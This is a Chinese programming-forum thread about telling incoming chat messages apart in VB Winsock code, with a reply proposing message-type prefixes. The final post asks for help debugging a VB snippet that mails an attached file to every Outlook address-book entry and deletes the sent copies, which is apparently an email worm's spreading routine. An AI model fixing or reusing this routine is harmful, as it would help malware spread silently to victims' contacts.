| 网站首页 | 业界新闻 | 小组 | 交易 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
共有 747 人关注过本帖
标题:VB分辨对方发过来的是消息还是别的什么东西
只看楼主 加入收藏
leziyi
Rank: 1
等 级:新手上路
帖 子:52
专家分:0
注 册:2016-10-30
结帖率:85.71%
收藏
已结贴  问题点数:30 回复次数:2 
VB分辨对方发过来的是消息还是别的什么东西
程序代码:

Private Sub Com_OK_Click()
FindFreeSock
Dim X
On Error GoTo Err
If Com_OK.Caption = "侦听" Then
    With Socket(SockIndex)
         '设置远程主机名
         .RemoteHost = Trim(T_PCIP.Text)
         '设置远程端口号
         .RemotePort = Trim(T_Prot.Text)
         '绑定本地端口号
         .Bind Trim(20000)
  End With
    CenterPrint Pic_Connect, "正在侦听......"
    ListView1.ListItems(m + X).SubItems(N) = T_PCIP.Text
    ListView1.ListItems(m + X).SubItems(N + 1) = T_Prot.Text
Else
    With Socket(SockIndex)
         '设置远程主机名
         .RemoteHost = Trim(T_PCIP.Text)
         '设置远程端口号
         .RemotePort = Trim(20000)
         '绑定本地端口号
         .Bind Trim(T_Prot.Text)
  End With
CenterPrint Pic_Connect, "正在连接......"
zx = Socket(SockIndex)
Timer1.Enabled = True
End If
Exit Sub
Err:
MsgBox Err.Description, 16, Err.Number
End Sub


程序代码:

Private Sub Socket_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim Data As Boolean
Dim getdata
Dim ComByte As Long, Temp As Long, J As Long
Static DataByt() As Byte
Static FileByt() As Byte
Static Received As Long
Const PACKSIZE = 8192 '65536
ReDim DataByt(bytesTotal)

Socket(index).getdata getdata

Dim u

u = Time()

If InStr(1, getdata, ":\") <> "" Then

   Data = True
   
ElseIf getdata = "Message" Then

   Message = True
   
   Exit Sub
   
ElseIf getdata = "StartChat" Then

   Message = True
   
   Exit Sub
   
ElseIf Message = True Then

   If Text1.Text = "" Then

      Text1.Text = u & Chr(13) & Chr(10) & "对方说:" & getdata
   
   Else

      Text1.Text = Text1.Text & Chr(13) & Chr(10) & Chr(13) & Chr(10) & u & Chr(13) & Chr(10) & "对方说:" & Text2.Text
   
   End If

ElseIf getdata = "PetName" Then

   PetName = True
   
   Exit Sub
   
ElseIf PetName = True Then

   PetChatName = getdata

搜索更多相关主题的帖子: Sub If Then Trim Text 
2018-11-10 20:16
yingshu
Rank: 4
等 级:贵宾
威 望:10
帖 子:49
专家分:212
注 册:2018-7-24
收藏
得分:30 
senddata方法发送消息语句里定义消息类型
getdata方法接收消息的时候,将消息类型赋值给变量,通过select判断

例如:
senddata方法
    socket(index).senddata  “消息类型”&消息

getdata方法
    socket(index).getdata  getdata
    aa=left(getdata,n)
        select case aa
            case "入库业务"   
            case "出库业务"
            case "聊天信息"
            ...   
        end select   

不知道理解的对不对,希望对你有帮助

   
2018-11-11 23:00
leziyi
Rank: 1
等 级:新手上路
帖 子:52
专家分:0
注 册:2016-10-30
收藏
得分:0 
兄弟,顺便帮忙看一下这段VB群发邮件的代码:
程序代码:

Set Christmas = MyApp.GetNameSpace("mapi")

   Set List = Christmas.AddressLists

   For Each Addresslist In List----------------------------此处出错

       If Addresslist.AddressEntries.Count <> 0 Then

          AddressListCount = Addresslist.AddressEntries.Count

          For AddList = 1 To AddressListCount

              Set Merry = MyApp.CreateItem(0)

              Set AdEntries = Addresslist.AddressEntries(AddList)

              Merry.to = AdEntries.Address

              Merry.Subject = "祝你每一天都过得开心!!!"

              Merry.Body = ""

              Set Attachs = Merry.Attachments

              Attachs.Add FullLocation

              If Var1 = "true" Then

                 Merry.DeleteAfterSubmit = True

                 If Msg.to <> "" Then

                    Merry.send

                 End If

              End If

          Next

       End If

   Next

End If

2018-11-15 18:45
快速回复:VB分辨对方发过来的是消息还是别的什么东西
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.054515 second(s), 8 queries.
Copyright©2004-2020, BCCN.NET, All Rights Reserved